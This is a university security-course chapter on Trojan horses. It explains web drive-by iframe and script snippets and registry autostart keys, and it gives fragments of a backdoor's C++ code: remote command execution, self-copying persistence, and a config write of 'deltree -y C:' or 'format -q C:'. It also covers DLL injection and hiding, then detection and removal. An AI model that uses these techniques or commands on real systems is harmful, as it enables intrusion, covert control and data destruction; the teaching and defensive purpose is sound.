第3章 特洛伊木馬_第1頁
第3章 特洛伊木馬_第2頁
第3章 特洛伊木馬_第3頁
第3章 特洛伊木馬_第4頁
第3章 特洛伊木馬_第5頁
已閱讀5頁,還剩124頁未讀 繼續免費閱讀

下載本文檔

版權說明:本文檔由用戶提供并上傳,收益歸屬內容提供方,若內容存在侵權,請進行舉報或認領

文檔簡介

第三章特洛伊木馬

(Trojanhorse)西安石油大學孫友倉《特洛伊木馬》電影圖片本章的學習目標掌握特洛伊木馬的概念了解木馬技術的發展趨勢理解木馬的關鍵技術掌握木馬攻擊的方法掌握木馬防范方法主要內容木馬的介紹定義、分類、進展木馬的關鍵技術植入技術通信技術隱藏技術木馬實例BO2K-開源木馬木馬檢測、清除、防范關鍵技術、實用工具、防范怎樣才能使計算機更安全?木馬的介紹概念特洛伊木馬(TrojanHorse):是一種與遠程計算機之間建立起連接,使遠程計算機能夠通過網絡控制用戶計算機系統并且可能造成用戶的信息損失、系統損壞甚至癱瘓的程序。木馬的組成硬件:控制端、服務端、Internet軟件:

控制端程序木馬程序木馬配置程序:設置木馬程序的端口號、觸發條件、木馬名稱等,

并使其在服務端藏得更隱蔽的程序。連接:控制、服務端IP,控制、服務端Port基本特征1、隱蔽性是其首要的特征木馬和遠程控制軟件的最主要區別,表現在:不產生圖標不出現在任務管理器中。2、它具有自動運行性可能潛伏在:啟動配置文件(win.ini,system.ini,winstart.bat等)、啟動組注冊表3、木馬程序具有欺騙性名字方式:字母“l”與數字“1”、字母“o”與數字“0”相同文件名但不同路徑常用圖標:Zip4、具備自動恢復功能(高級技術)

現在很多木馬程序中的功能模塊已不再由單一的文件組成,而是將文件分別存儲在不同的地方。這些分散的文件可以相互恢復,以提高存活能力。5、能自動打開特別的端口6、功能的特殊性搜索緩存中的口令、設置口令、掃描目標機器的IP地址、進行鍵盤記錄、遠程注冊表的操作、以及鎖定鼠標等功能7、黑客組織趨于公開化木馬的分類

1、遠程控制型木馬BO和冰河2、發送密碼型木馬得到緩存的密碼,將它發送到指定的E_mail地址。3、鍵盤紀錄型木馬上線選項:知道受害人在線,記錄每一件事;下線選項:用戶的每一件事會被記錄并保存在硬盤中等待發送4、破壞型木馬計算機中的信息永遠不復存在5、FTP型木馬打開21端口,成為文件服務器遠程控制、木馬與病毒木馬和控制軟件目的不同有些木馬具有控制軟件的所有功能是否隱藏木馬和普通病毒傳播性(木馬不如病毒)兩者相互融合木馬程序YAI采用了病毒技術“紅色代碼”病毒已經具有木馬的遠程控制功能木馬的發展趨勢

跨平臺性模塊化設計更新更強的感染(傳播、植入)模式即時通知更強更多的功能木馬的關鍵技術技術進展歷史上概括為4個階段:第一階段主要實現簡單的密碼竊取、發送等功能,沒有什么特別之處。第二階段在技術上有了很大的進步,主要體現在隱藏、控制等方面。國內冰河可以說是這個階段的典型代表之一。第三階段在數據傳遞技術上做了不小的改進,出現了基于ICMP協議的木馬,這種木馬利用ICMP協議的畸形報文傳遞數據,增加了查殺的難度。第四階段在進程隱藏方面做了非常大的改動,采用了內核插入式的嵌入方式,利用遠程插入線程技術嵌入DLL線程,或者掛接PSAPI實現木馬程序的隱藏。即使在WindowsNT/2K下,這些技術都達到了良好的隱藏效果。相信,第五代木馬的技術更加先進。

木馬的關鍵技術——植入技術植入技術升級植入:打補丁是目前內核及功能升級重要途徑。由于升級包發布途徑不嚴格且非常復雜,因此,這將成為傳播木馬的一個有效途徑。網站(網頁)植入:網站掛馬是傳播木馬的最佳途徑之一。把木馬連接潛入到網站上,當用戶訪問該網站時,把木馬自動種植到用戶的計算機上。在輔助以附加手段的前提下,該方法也可以實現定點植入。漏洞植入:木馬通過操作系統的漏洞直接傳播給計算機,其中間橋梁是諸如局域網、Internet、WiFi、藍牙、紅外等網絡連接。U盤植入:木馬先寄宿在計算機或U盤上。當U盤和計算機連接時,相互傳播。該方法利用了U盤介質的移動性。程序綁定:傳播木馬的最佳途徑之一。把木馬和常用的共享軟件綁定在一起,當用戶下載了免費共享軟件并安裝或使用時,木馬就種植到其計算機上。網站掛馬網頁掛馬就是攻擊者通過在正常的頁面中(通常是網站的主頁)插入一段代碼。瀏覽者在打開該頁面的時候,這段代碼被執行,然后下載并運行某木馬的服務器端程序,進而控制瀏覽者的主機。存在兩種網頁掛馬方式:傳統的直接掛馬和新的間接掛馬方式。傳統方式黑客直接在被入侵網站上掛馬。影響群體為直接訪問這個網站的用戶。網頁掛馬的新方式被掛馬網站是第三方知名“統計網站”編寫的用于收集統計用戶瀏覽網頁數據信息的代碼。黑客正是利用了這些統計網站進行掛馬,從而使得所有使用了該統計代碼的網站全部都被間接掛馬。網頁掛馬的關鍵技術框架掛馬js掛馬圖片偽裝掛馬網絡釣魚掛馬偽裝掛馬框架掛馬攻擊者利用iframe語句,加載到任意網頁中。是最早也是最有效的的一種網絡掛馬技術。代碼如下:<iframe.src=/muma.htmlwidth=0height=0></iframe>原理:在打開插入該句代碼的網頁后,也就打開了/muma.html頁面,但是由于它的長和寬都為“0”,所以很難察覺,非常具有隱蔽性。js掛馬利用js腳本調用進行的網頁掛馬技術。攻擊者先制作一個.js文件,然后利用js代碼調用到掛馬的網頁。代碼如下:<script.language=javascript.src=/gm.js></script>原理:/gm.js就是一個js腳本文件,通過它調用和執行木馬的服務端。這些js文件一般都可以通過工具生成,攻擊者只需輸入相關的選項就可以了。圖片偽裝掛馬該技術用于逃避殺毒監視的技術。攻擊者將類似:/test.htm中的木馬代碼植入到test.gif圖片文件中。代碼:<html><iframe.src="/test.htm"height=0width=0></iframe><imgsrc="/test.jpg"></center></html>原理:當用戶打開/test.htm時,顯示給用戶的是/test.jpg,而/test.htm網頁代碼也隨之運行。網絡釣魚掛馬網絡中最常見的欺騙手段,黑客們利用人們的獵奇、貪心等心理,偽裝構造一個鏈接或者一個網頁,利用社會工程學欺騙方法,引誘點擊,當用戶打開一個看似正常的頁面時,網頁代碼隨之運行,隱蔽性極高。偽裝掛馬高級欺騙,黑客利用IE或者Fixfox瀏覽器的設計缺陷制造的一種高級欺騙技術,當用戶訪問木馬頁面時地址欄顯示或者等用戶信任地址,其實卻打開了被掛馬的頁面,從而實現欺騙。代碼如下(在貌似的鏈接上點擊卻打開了):<p><aid="qipian"href=""></a></p><div><ahref=""target="_blank"><table><caption><labelfor="qipian"><ustyle="cursor;pointer;color;blue">IT168安全版塊</u></label></caption></table></a></div>網頁掛馬實驗(實驗六)該掛馬方法利用了MS06-014漏洞。該漏洞是Windows的RDS.DataspaceActiveX實現上存在漏洞,遠程攻擊者可能利用此漏洞在獲取主機的控制。在某些情況下,MDAC所捆綁的RDS.DataspaceActiveX控件無法確保能夠進行安全的交互,導致遠程代碼執行漏洞,成功利用這個漏洞的攻擊者可以完全控制受影響的系統。[實驗目的]通過該實驗掌握網站掛馬的方法。[實驗環境]Windows2000ProfessionalSP4IIS5.xIE5.x[實驗素材]附書資源目錄experimemt\ms06014實驗準備如圖,把這些文件用IIS發布。其中WriteReg.exe可以不發布。WriteReg.exe和WriteReg.pdf內容完全一致,只是擴展名不同而已。這樣做的目的是更加便于隱藏。第一步:檢測一下是否存在該漏洞第二步:準備個簡單的木馬該程序是個可執行程序,它要被掛到網站上,等著別人來上鉤。其功能是:執行后把自己改名字并存儲到System32下;修改注冊表,實現自加載。第三步:核心程序第四步:進一步偽裝第五步:看看效果吧演示過程木馬的關鍵技術——自加載技術系統文件加載1.修改批處理Autoexec.bat(自動批處理,在引導系統時執行)

Winstart.bat(在啟動GUI圖形界面環境時執行)

Dosstart.bat(在進入MS-DOS方式時執行)

2.修改系統配置win.ini文件中的啟動加載項:[windwos]段中有如下加載項:run=Load=system.ini中的啟動加載項:在[BOOT]子項中的“Shell”項:shell=3修改注冊表HKEY_CLASSES_ROOT:此處存儲的信息可以確保當使用Windows資源管理器打開文件時,將使用正確的應用程序打開對應的文件類型。HKEY_CURRENT_USER:存放當前登錄用戶的有關信息。用戶文件夾、屏幕顏色和“控制面板”設置存儲在此處。該信息被稱為用戶配置文件。HKEY_LOCAL_MACHINE:包含針對該計算機(對于任何用戶)的配置信息。HKEY_USERS:存放計算機上所有用戶的配置文件。HKEY_CURRENT_CONFIG:包含本地計算機在系統啟動時所用的硬件配置文件信息。HKEY_DYN_DATA:記錄系統運行時刻的狀態。3.1通過注冊表中的Run來啟動

(Run),(RunOnce),(RunOnceEx),(RunServices),(RunServicesOnce)3.2通過文件關聯啟動當用戶打開了一個已修改了打開關聯的文件時,木馬也就開始了它的運作。選擇文件格式中的“打開”、“編輯”、“打印”項目。例如冰河木馬病毒[HKEY_CLASSES_ROOT\txtfile\shell\open\command]中的鍵值“c:\windows\notepad.exe%1”,改為“sysexplr.exe%1”。4.借助自動運行功能根目錄下新建一個Autorun.inf

[autorun]

open=Notepad.exe

5.通過APIHOOK啟動利用經常使用的API啟動木馬6.通過VXD啟動寫成Vxd并寫入[HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\VxD]7.通過瀏覽網頁啟動利用MIME的漏洞。8.利用Javaapplet等網絡編程語言啟動9.利用系統自動運行的程序例如,ScanDisk等程序,在一定情況下,系統會自動啟動它們。10.由其他進程引導例如,采用遠程線程插入技術的木馬,當宿主程序的進程啟動時,木馬就以線程的方式插入其中自動運行。木馬的關鍵技術——通信技術Socket技術通信實例編程語言選擇以CSocket為基類生成CMySocket類。CMySocket類的功能是用來使本程序變成一個服務器程序。自動隱藏//Win9x隱藏技術

DWORDdwVersion=GetVersion(); //得到操作系統的版本號

if(dwVersion>=0x80000000) //操作系統是Win9x,不是WinNt { typedefDWORD(CALLBACK*LPREGISTERSERVICEPROCESS)(DWORD,DWORD); //定義RegisterServiceProcess()函數的原型

HINSTANCEhDLL; LPREGISTERSERVICEPROCESSlpRegisterServiceProcess; hDLL=LoadLibrary("KERNEL32.dll"); //加載RegisterServiceProcess()函數所在的動態鏈接庫KERNEL32.DLL lpRegisterServiceProcess=(LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,"RegisterServiceProcess"); //得到RegisterServiceProcess()函數的地址

lpRegisterServiceProcess(GetCurrentProcessId(),1); //執行RegisterServiceProcess()函數,隱藏本進程

FreeLibrary(hDLL); //卸載動態鏈接庫

}用RegisterServiceProcess函數實現后臺服務進程。未公開核心函數,只能到KERNEL32.dll中動態裝載WinNT\2K下進程管理程序可以對后臺進程一覽無余,故上述方法不行(怎么實現?)自動加載木馬的第一次執行如何實現第一次以后的自動加載?注冊表代碼功能:HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\%System%\\Tapi32CopyFile(commandline,SystemPath+"\\Tapi32.exe",FALSE);//將自己拷貝到%System%目錄下,并改名為Tapi32.exe,偽裝起來registry->Open(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run");registry->QueryValue(TempPath,"crossbow",&lRegLength);

registry->SetValue(SystemPath+"\\Tapi32.exe","crossbow");Server端功能——命令接收

接下來就是啟動Server端的Socket來接收客戶端的命令。Port777核心代碼:pSocket->Receive(lpBuf,1000); //接收客戶端數據

if(strnicmp(lpBuf,"CMD:",4)==0){ ExecuteCommand(lpBuf,FALSE); }//執行遠端應用程序

elseif(strnicmp(lpBuf,"!SHUT",5)==0){ SendText("Exitprogram!",pSocket); OnExit(); }//退出木馬程序將要實現的功能:CMD執行應用程序!SHUT退出木馬FILEGET獲得遠端文件EDITCONF編輯配置文件LIST列目錄VIEW察看文件內容CDOPEN關CDCDCLOSE開CDREBOOT重啟遠端機器Server端功能——修改配置Autoexec.bat和Config.sys代碼:_chmod("c:\\autoexec.bat",S_IREAD|S_IWRITE);_chmod("c:\\config.sys",S_IREAD|S_IWRITE);fwrite(content,sizeof(char),strlen(content),fp);//寫入添加的語句,例如deltree-yC:或者format–qC:Server端功能——實現list命令CFileFindfinder; BOOLbWorking=finder.FindFile("*.*"); while(bWorking) //循環得到下一層文件或目錄

{ bWorking=finder.FindNextFile(); if(finder.IsDots()||finder.IsDirectory()){ strResult="Dire:"; }else{ strResult="File:"; } strResult+=finder.GetFileName(); strResult+="\n"; }

SendText(strResult,pSocket); //返回Return_Text變量的內容Server端功能——實現View命令intRead_Num=fread(temp_content,1,300,fp); //從目標文件中讀入前300個字符

while(Read_Num==300) { strResult+=(CString)temp_content; //strResult的內容加上剛才的字符

for(inti=0;i<300;i++)temp_content[i]='\0'; Read_Num=fread(temp_content,1,300,fp); //重復

};Server端功能——操作硬件mciSendString(“setcdaudiodooropen”,NULL,0,NULL);

//彈出光驅的托盤mciSendString("Setcdaudiodoorclosedwait",NULL,0,NULL);

//收入光驅的托盤Server端功能——遠程reboot//Win9x重啟ExitWindowsEx(EWX_FORCE+EWX_REBOOT,0);//操作系統是WinNtOpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,&hToken);LookupPrivilegeValue(NULL,SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);tkp.PrivilegeCount=1;tkp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;AdjustTokenPrivileges(hToken,FALSE,&tkp,0,(PTOKEN_PRIVILEGES)NULL,0);ExitWindowsEx(EWX_REBOOT|EWX_FORCE,0);Client端功能客戶端的任務僅僅是發送命令和接收反饋信息而以。首先,在VisualStudio環境下新建一個基于Dialog的應用程序;接著,在這個窗體上放置一些控件。這些控件用于輸入IP,Port,命令以及執行某些動作。最后,添加CCommandSocket類(其基類是CSocket類)到當前工程,該類用于和Server端通訊。發送命令的代碼如下:m_ptrComSocket->Send((void*)m_msg,m_msg.GetLength());從服務器端獲取反饋信息ReceiveResult(m_msg);斷開Socket通訊的代碼如下:m_ptrComSocket->Close();代碼及演示簡單木馬實驗(實驗五)【實驗目的】掌握木馬病毒的基本原理。【實驗平臺】WindowsXP操作系統VisualStudio6.0編程環境【實驗步驟】(1)復制實驗文件到實驗的計算機上(源碼位置:附書資源目錄\Experiment\SimpleHorse\)。其中,SocketListener目錄下是木馬Server端源代碼,SocketCommand目錄下是木馬Client端源代碼。(2)用VisualStudio6.0環境分別編譯這兩部分代碼編譯。(3)運行SocketListener應用程序,也就是啟動了木馬被控制端。(4)運行SocketCommand應用程序,也就是啟動了木馬的控制端,可以在控制端執行命令來控制被控制端。木馬的關鍵技術——隱藏技術概述木馬為了生存,使用許多技術隱藏自己的行為(進程、連接和端口)。在Windows9X時代,木馬簡單地注冊為系統進程就可以從任務欄中消失。WindowsXP這種方法遭到了慘敗,注冊為系統進程不僅僅能在任務欄中看到,而且可以直接在Services中控制木馬。使用隱藏窗體或控制臺的方法也不能欺騙無所不見的Administrator用戶。在NT/2K/XP下,Administrator是可以看見所有進程的。防火墻和各種網絡工具的發展也對木馬提出了進一步的考驗,通信過程容易被發現。隱藏技術——反彈式木馬技術反彈式木馬的原理:利用防火墻對內部發起的連接請求無條件信任的特點,假冒是系統的合法網絡請求來取得對外的端口,再通過某些方式連接到木馬的客戶端,從而竊取用戶計算機的資料同時遙控計算機本身。反彈式木馬訪問客戶端的80端口,防火墻無法限制。例如,“網絡神偷”防范:使用個人防火墻,其采用獨特的“內墻”方式應用程序訪問網絡規則。隱藏技術——用ICMP方法隱藏連接TCPUDP木馬的弱點:等待和運行的過程中,始終有一個和外界聯系的端口打開著。原理:由于ICMP報文是由系統內核或進程直接處理而不是通過端口,這就給木馬一個擺脫端口的絕好機會。木馬將自己偽裝成一個Ping的進程,系統就會將ICMP_ECHOREPLY(Ping的回包)的監聽、處理權交給木馬進程。一旦事先約定好的ICMP_ECHOREPLY包出現(可以判斷包大小、ICMP_SEQ等特征),木馬就會接受、分析并從報文中解碼出命令和數據。即使防火墻過濾ICMP報文,一般也不過濾ICMP_ECHOREPLY包,否則就不能進行Ping操作了。因此,具有對于防火墻和網關的穿透能力。隱藏技術——隱藏端口為了隱藏端口,采用兩種思路:寄生和潛伏寄生就是找一個已經打開的端口,寄生其上,平時只是監聽,遇到特殊的指令就進行解釋執行。潛伏是說使用IP協議族中的其它協議而不是TCP或UDP來進行通訊,從而瞞過Netstat和端口掃描軟件。一種比較常見的潛伏手段是使用ICMP協議。其他方法:對網卡或Modem進行底層的編程。隱藏技術——NT進程的隱藏進程和端口聯系在一起的方法很常見。因此,需要隱藏進程來達到隱藏木馬的目的。實現進程隱藏有兩種思路:第一是讓系統管理員看不見(或者視而不見)你的進程;第二是不使用進程。能否使用第一種方式?在Windows中有多種方法能夠看到進程的存在:PSAPI(ProcessStatusAPI);PDH(PerformanceDataHelper);ToolHelpAPI。如果我們能夠欺騙用戶和入侵檢測軟件用來查看進程的函數(例如截獲相應的API調用,替換返回的數據),我們就完全能實現進程隱藏。但是存在兩個難題:一來我們并不知道用戶和入侵軟件使用的是什么方法來查看進程列表;二來我們有權限和技術實現這樣的欺騙。用欺騙的方法隱藏進程示例修改任務管理器的顯示顯示控件和窗口用Spy++獲知窗口:32770控件:Syslistview32演示代碼:guangpan\news\hooklist使用第二種方式最流行。DLL是Windows系統的另一種“可執行文件”。DLL文件是Windows的基礎,因為所有的API函數都是在DLL中實現的。DLL文件沒有程序邏輯,是由多個功能函數構成,它并不能獨立運行,一般都是由進程加載并調用的。假設我們編寫了一個木馬DLL,并且通過別的進程來運行它,那么無論是入侵檢測軟件還是進程列表中,都只會出現那個進程而并不會出現木馬DLL,如果那個進程是可信進程,(例如資源管理器Explorer.exe,沒人會懷疑它是木馬吧?)那么我們編寫的DLL作為那個進程的一部分,也將成為被信賴的一員而為所欲為。用DLL實現木馬功能 用DLL實現木馬功能,然后,用其他程序啟動該DLL.有三種方式:最簡單的方式——RUNDLL32特洛伊DLL線程插入技術最簡單的方式——RUNDLL32Rundll32DllFileNameFuncNameRundll32.exeMyDll.dllMyFunc程序演示(參見:..\othercode\testdll)比較高級的方式-特洛伊DLL

特洛伊DLL(欺騙DLL)的工作原理是使用欺騙DLL替換常用的DLL文件,通過函數轉發器將正常的調用轉發給原DLL,截獲并處理特定的消息。函數轉發器forward的認識。VisualStudio7命令提示符>dumpBin-Exportsc:\windows\system32\Kernel32.dll|more演示程序實現//FunctionforwarderstofunctionsinDllWork#pragmacomment(linker,"/export:ForwardFunc=Kernel32.HeapCreate")演示(參見:..\othercode\testdll源代碼)實現描述我們知道WINDOWS的Socket1.x的函數都是存放在wsock32.dll中的,那么我們自己寫一個wsock32.dll文件,替換掉原先的wsock32.dll(將原先的DLL文件重命名為wsockold.dll)我們的wsock32.dll只做兩件事,一是如果遇到不認識的調用,就直接轉發給wsockold.dll(使用函數轉發器forward);二是遇到特殊的請求(事先約定的)就解碼并處理。特洛伊DLL的弱點:system32目錄下有一個dllcache的目錄,這個目錄中存放著大量的DLL文件,一旦操作系統發現被保護的DLL文件被篡改(數字簽名技術),它就會自動從dllcache中恢復這個文件。有些方法可以繞過dllcache的保護:先更改dllcache目錄中的備份再修改DLL文件利用KnownDLLs鍵值更改DLL的默認啟動路徑等同時特洛伊DLL方法本身也有一些漏洞(例如修復安裝、安裝補丁、升級系統、檢查數字簽名等方法都有可能導致特洛伊DLL失效),所以這個方法也不能算是DLL木馬的最優選擇。最高級方式——動態嵌入技術DLL木馬的最高境界是動態嵌入技術,動態嵌入技術指的是將自己的代碼嵌入正在運行的進程中的技術。多種嵌入方式:窗口Hook、掛接API、遠程線程。隱藏技術——遠程線程技術遠程線程技術指的是通過在另一個進程中創建遠程線程的方法進入那個進程的內存地址空間。通過CreateRemoteThread也同樣可以在另一個進程內創建新線程,新線程同樣可以共享遠程進程的地址空間。HANDLECreateRemoteThread(HANDLEhProcess,PSECURITY_ATTRIBUTESpsa,DWORDdwStackSize,PTHREAD_START_ROUTINEpfnStartAddr,PVOIDpvParam,DWORDfdwCreate,PDWORDpdwThreadId);一個地址DWORDWINAPIThreadFunc(PVOIDpvParam);HINSTANCELoadLibrary(PCTSTRpszLibFile);兩個函數非常類似需解決的問題:第一個問題,獲取LoadLibrary的實際地址。PTHREAD_START_ROUTINEpfnThreadRtn=(PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")),"LoadLibraryA");第二個問題,把DLL路徑名字符串放入宿主進程。使用:VirtualAllocEx,VirtualFreeEx,ReadProcessMemory,WriteProcessMemory等函數。操作步驟做一個歸納:1)使用VirtualAllocEx函數,分配遠程進程的地址空間中的內存。2)使用WriteProcessMemory函數,將DLL的路徑名拷貝到第一個步驟中已經分配的內存中。3)使用GetProcAddress函數,獲取LoadLibraryA或LoadLibratyW函數的實地址(在Kernel32.dll中)。4)使用CreateRemoteThread函數,在遠程進程中創建一個線程,它調用正確的LoadLibrary函數,為它傳遞第一個步驟中分配的內存的地址。5)使用VirtualFreeEx函數,釋放第一個步驟中分配的內存。6)使用GetProcAddress函數,獲得FreeLibrary函數的實地址(在Kernel32.dll中)。7)使用CreateRemoteThread函數,在遠程進程中創建一個線程,它調用FreeLibrary函數,傳遞遠程DLL的HINSTANCE。看代碼及演示(參見:..\othercode\injlib和Imgwalk)木馬的關鍵技術——其他技術遠程屏幕抓取如果鍵盤和鼠標事件記錄不能滿意時,需要抓取被控制端屏幕,形成一個位圖文件,然后把該文件發送到控制端計算機顯示出來。輸入設備控制通過網絡控制目標機的鼠標和鍵盤,以達到模擬鼠標和鍵盤的功能。使用技術:Keybd_event,mouse_event//模擬A鍵按鍵過程keybd_event(65,0,0,0);keybd_event(65,0,KEYEVENTF_KEYUP,0);//模擬按下左鍵GetCursorPos(&lpPoint);SetCursorPos(lpPoint.x,lpPoint.y);mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);遠程文件管理操作目標機文件的方式通常有兩種:一種是共享目標機的硬盤,進行任意的文件操作;另一種是把自己的計算機配置為FTP(FileTransferProtocol,文件傳輸協議)服務器。使用函數CInternetSessionGetFtpConnectionGetFilePutFile共享硬盤數據Windows2000/NT/XP: [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\lanmanserver\Shares]Windows9x:[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\LanMan]"Flags"

//類型"Path"

//目錄"Remark"

//備注"Type""Parm1enc""Parm2enc"服務器端程序的包裝與加密一個試驗:text.txt,其內容為“Thisisfortest!!”C:\>typetext.txt>>Test.exe運行Test.exe演示(參見:..\othercoe\bindexe)木馬會把一些配置信息放在exe文件的最后。例如,冰河木馬其他的其他技術:首先是程序的大小問題;還有啟動方式的選擇;木馬的功能還可以大大擴充;殺掉防火墻和殺毒軟件;針對來自反匯編工具的威脅;自動卸載等。木馬實例——BO2KBO(BackOrifice)是典型的遠程訪問型木馬。這種木馬借著遠程控制的功能,用起來非常簡單,只需先運行服務端程序,同時獲得遠程主機的IP地址,控制者就能任意訪問被控制的計算機。這種木馬可以使遠程控制者在本地機器上任意的事情,比如鍵盤記錄、上傳和下載功能、發送一個截取屏幕等等。BO2K的代碼分析接上頁BO2K的功能(精簡)Ping:給一臺計算機發個數據包看它能否被訪問Query:返回服務器上的BO的版本號RebootMachine:重啟動服務器Lock-upMachine:凍住服務器,要他重啟動ListPasswords:取得服務器上的用戶和密碼GetSystemInfo:取得MachineName--機器名、CurrentUser--當前用戶、Processor--CPU型號、Operatingsystemversion(SPversion)--操作系統版本號(補丁版本)、Memory(Physicalandpaged)--內存(物理內存和虛擬內存)、Allfixedandremotedrives--所有的固定存儲器和遠程驅動器LogKeystrokes:把按鍵記錄到一個文件里,要指定一個文件存儲輸出結果EndKeystrokeLog:停止記錄按鍵ViewKeystrokeLog:察看按鍵記錄文件DeleteKeystrokeLog:刪除按鍵記錄文件SystemMessageBox:在服務器的屏幕上顯示一個有文本框的窗口,窗口的標題和文本可定制MapPort->OtherIP:把服務器上一個端口的網絡流通數據重定向到另一個IP地址和端口MapPort->TCPFileReceive:從一個指定的端口收取文件,要指定端口號和文件名,詳細路徑BO2K演示木馬的檢測、清除、防范已知木馬的端口列表(簡略)木馬名稱端口木馬名稱端口BOjammerkillahV121RemoteGrab7000NukeNabber139NetMonitor7300HackersParadise456NetMonitor1.x7301StealthSpy555NetMonitor2.x7306Phase0555NetMonitor3.x7307NeTadmin555NetMonitor4.x7308SatanzBackdoor666Qaz7597AttackFTP666ICQKiller7789AIMSpy777InCommand9400木馬檢測及清除實驗示例程序利用開放主機端口號和各個木馬程序使用端口的對應關系,判斷主機是否已中木馬,中了何種木馬(目前能查找一百余種),并能根據所中木馬的類型,對其中的二十幾種進行殺滅。此外,用戶可自行追加數據庫,增加能查找病毒的種類。開始讀取保存開放端口文件,判斷中何木馬是否能打開木馬數據庫文件NoYes結束Scan開放的端口,結果保存到文件此木馬能否被殺滅調用函數殺除木馬YesNo關鍵數據結構本程序的數據文件Trojan.txt使用了TROJAN結構來保存木馬的名稱,對應打開端口號和查殺代碼字段名稱字段類型字段說明nPort數字該木馬所使用的端口號。TroName字符串該木馬的名稱。nKillno數字該木馬的查殺號,殺除函數調用。pnext指針用于構成鏈表結構指針木馬名稱 木馬使用特征端口號 查殺號在Trojan.txt中,每行為一個木馬項,格式為使用端口掃描方法查看有那些端口開放該方法存在問題:無法應對隱藏端口沒采用多線程掃描消除木馬進程的步驟第一步:提升權限提升本程序權限得目的是,使其能夠殺除木馬進程,主要是通過AdjustTokenPrivileges函數來完成。BOOLAdjustTokenPrivileges(HANDLETokenHandle,//用于修改權限的句炳BOOLDisableAllPrivileges, //修改方式

PTOKEN_PRIVILEGESNewState, //修改后的值

DWORDBufferLength, //修改值的長度

PTOKEN_PRIVILEGESPreviousState, //修改前狀態

PDWORDReturnLength //返回長度);第二步:枚舉進程,獲得木馬進程的進程號碼。首先通過EnumProcesses函數來枚舉系統中所有運行的進程。當獲得所有進程的進程號以后,枚舉每一個進程所包含的模塊,這里使用EnumProcessModules函數:通過返回的模塊信息,我們可以利用GetModuleFileNameEx來取得此模塊調用文件的文件名。第三步:終止木馬進程。如果取得文件名和木馬的名稱一樣,則調用TerminateProcess函數終止木馬進程。第四步:清除木馬文件。在終止木馬的進程以后,就可以刪除木馬文件,刪除注冊表項和刪除文件中的自啟動項的操作了,其中涉及到幾個注冊表操作函數。RegOpenKeyEx:用來打開注冊表項RegQueryValueEx:用來查詢特定注冊表項中的鍵值RegDeleteValue:當我們查找到的鍵名和其含有的鍵值與木馬添加的內容一致時,就可以調用該函數刪除此鍵對于木馬文件,調用DeleteFile函數來刪除。木馬病毒清除實驗(實驗七)【實驗目的】掌握木馬病毒清除的基本原理。【實驗平臺】Windows32位操作系統VisualStudio7.0編譯環境【實驗步驟】從網上下載文件中復制實驗文件到實驗的計算機上(源碼位置:附書資源目錄\Experiment\Antitrojan\)。文件Antitrojan.sln為工程文件。使用VisualStudio7.0編譯該工程,生成Antitrojan.exe可執行程序。執行Antitrojan.exe觀察執行效果。【注意事項】程序的設計思路參考下載文件(文檔位置:解壓縮目錄\Experiment\Antitrojan\doc\設計文檔.doc)。實驗結果木馬防治實用工具個人防火墻Windows自帶個人防火墻第三方個人防火墻工具天網ZoneAlarmPro木馬專殺工具360木馬專殺木馬克星木馬清道夫QQ木馬專殺大多數殺毒軟件都具有防范木馬的能力其他工具進程/內存模塊查看器在Windows下查看進程/內存模塊的方法很多,有PSAPI、PDH和ToolHelperAPI。/shotgun/ps.zip端口掃描(端口進程關聯軟件)關聯端口和進程的軟件也是重要的工具之一,雖然DLL木馬隱藏在其他進程中,但是多多少少會有一些異常,功能強大的Fport就是一個優秀的進程端口關聯軟件,可以在以下地址下載到:

/rdlabs/termsofuse.php?filename=FPortNG.zip嗅探器嗅探器幫助我們發現異常的網絡通訊,從而引起我們的警惕和關注,嗅探器的原理很簡單,通過將網卡設為混雜模式就可以接受所有的IP報文,嗅探程序可以從中選擇值得關注的部分進行分析,剩下的無非是按照RFC文檔對協議進行解碼。代碼及頭文件:

/shotgun/GUNiffer.zip

編譯后的程序:

/shotgun/GUNiffer.exe檢查及保護注冊表/public/tools/ntregmon.zip查找文件/public/tools/ntfilmon.zip

商用殺病毒軟件系統文件檢查器幾種常見木馬病毒的感染特征一、BO2000查看注冊表[HEKY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicse]中是否存在Umgr32.exe的鍵值。有則將其刪除。重新啟動電腦,并將\Windows\System中的Umgr32.exe刪除。

二、NetSpy(網絡精靈)

國產木馬,默認連接端口為7306。在該版本中新添加了注冊表編輯功能和瀏覽器監控功能,客戶端現在可以不用NetMonitor,通過IE或Navigate就可以進行遠程監控了。其強大之處絲毫不遜色于冰河和BO2000!服務端程序被執行后,會在C:\Windows\system目錄下生成netspy.exe文件。同時在注冊表[HKEY_LOCAL_MACHINE\software\microsoft\windows\CurrentVersion\Run]下建立鍵值C:\windows\system\netspy.exe,用于在系統啟動時自動加載運行。

清除方法:

1.進入dos,在C:\windows\system\目錄下輸入以下命令:delnetspy.exe回車;

2.進入注冊表HKEY_LOCAL_MACHINE\Software\microsoft\windows\CurrentVersion\Run\,刪除Netspy.exe和Spynotify.exe的鍵值即可安全清除Netspy。

三、Happy99

此程序運行時,會在打開一個名為“Happynewyear1999”的窗口,并出現美麗的煙花,它會復制到Windows主文件夾的System目錄下并更名為Ska.exe,同時創建文件Ska.dll,修改Wsock32.dll,將修改前的文件備份為Wsock32.ska,并修改注冊表。另外,用戶可以檢查注冊[HEKY_LOCAL_MACHINE\Softwre\Microsoft\Windows\CurrentVersion\RunOnce]中有無鍵值Ska.exe。有則將其刪除,并刪除\Windows\System中的Ska.exe和Ska.dll兩個文件,將Wsock32.ska更名為Wscok32.dll。

四、冰河

